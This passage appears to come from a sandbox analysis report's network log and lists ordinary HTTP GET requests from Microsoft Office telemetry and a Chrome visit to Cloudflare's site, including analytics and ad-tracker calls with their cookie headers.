cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rp.gif?event=PageVisit&id=t2_1upmecjq&ts=1729094221108&uuid=dc93f89a-e6dd-4c25-851a-993e355821da&integration=reddit&opt_out=0&v=rdt_65e23bc4&sh=1024&sw=1280 HTTP/1.1Host: alb.reddit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /component---src-components-page-page-template-tsx-d45b6e355a31d828fc9b.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/plans/enterprise/contact/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094220261%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CvVersion%7C5.5.0; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2
Source: global traffic	HTTP traffic detected: GET /710030.gif?pdata=d=desktop,lc=US,ref=earthheros.com.de HTTP/1.1Host: di.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bg9s?x-amz-cf-id=USpYjdQUxSmr9WOVPx3lFuorv6ii_vnsVqzOEvhck-Q1IWQ_vSR2KQ==&api-version=v3 HTTP/1.1Host: tag-logger.demandbase.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bat.js HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xdc.js?_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_h=-1777624096&cdn_o=a&jsVer=4.24.10.10 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=9cf0c5c3c8234176adfbc3176fd8b579
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Zw-iUgAAADpcGwN- HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=67186572711371259904276718133462973521
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /u?mapType=mkto&mapValue=id%3A713-XSC-918%26token%3A_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73&_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729094224357&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=1&rnd=333421&cdn_o=a&_biz_z=1729094225466 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=9cf0c5c3c8234176adfbc3176fd8b579
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=18&expiry=1744819025&external_user_id=90b55140-4e1c-4e26-b4f5-78718a696458 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?UIDM=90b55140-4e1c-4e26-b4f5-78718a696458 HTTP/1.1Host: partners.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CvVersion%7C5.5.0; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=Ci
Source: global traffic	HTTP traffic detected: GET /component---src-components-learning-center-templates-learning-center-article-template-tsx-be49510567670fd8909d.js HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/plans/enterprise/contact/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CvVersion%7C5.5.0; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=5.5.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=8AD56F28618A50850A495FB6%40AdobeOrg&d_nsid=0&ts=1729094221882 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=67186572711371259904276718133462973521
Source: global traffic	HTTP traffic detected: GET /1be41a80498a5b73.min.js HTTP/1.1Host: tag.demandbase.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uwt.js HTTP/1.1Host: static.ads-twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/landing?gcs=G111&gcd=13r3r3r3r5l1&tag_exp=101686685&rnd=943321145.1729094224&url=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&dma=0&npa=0&gtm=45He4ae0n81NDGPDFZv890325950za200&auid=1815933169.1729094224 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=5800add8-caaa-4f7b-8872-1ef83a3ff082&_u=KGDAAEADQAAAAC%7E&z=154832115&slf_rd=1 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; 